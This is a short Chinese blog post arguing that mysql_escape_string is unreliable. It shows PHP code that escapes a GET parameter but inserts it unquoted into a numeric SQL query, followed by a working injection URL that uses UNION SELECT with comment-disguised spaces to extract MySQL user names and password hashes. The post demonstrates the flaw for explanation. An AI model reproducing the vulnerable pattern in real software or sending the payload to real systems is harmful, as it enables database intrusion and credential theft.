mysql_escape_string不可靠

最新推荐文章于 2022-09-23 16:44:38 发布

stnye

最新推荐文章于 2022-09-23 16:44:38 发布

阅读量1.6k

点赞数

CC 4.0 BY-SA版权

文章标签： mysql string user sql query url

本文链接：https://blog.youkuaiyun.com/stnye/article/details/7649031

$id = mysql_escape_string($_GET['a']);
$link = mysql_connect('localhost', 'root', '') or die("connect failed");
$sql = "SELECT id,2 FROM test.test WHERE id = $id";
$rt = mysql_query($sql);

url:index.php?a=3524710/**/and/**/1=0/**/union/**/select/**/1,concat(user,0x3a,password)/**/from/**/mysql.user/**/where/**/user=substring_index(current_user(),char(64),1)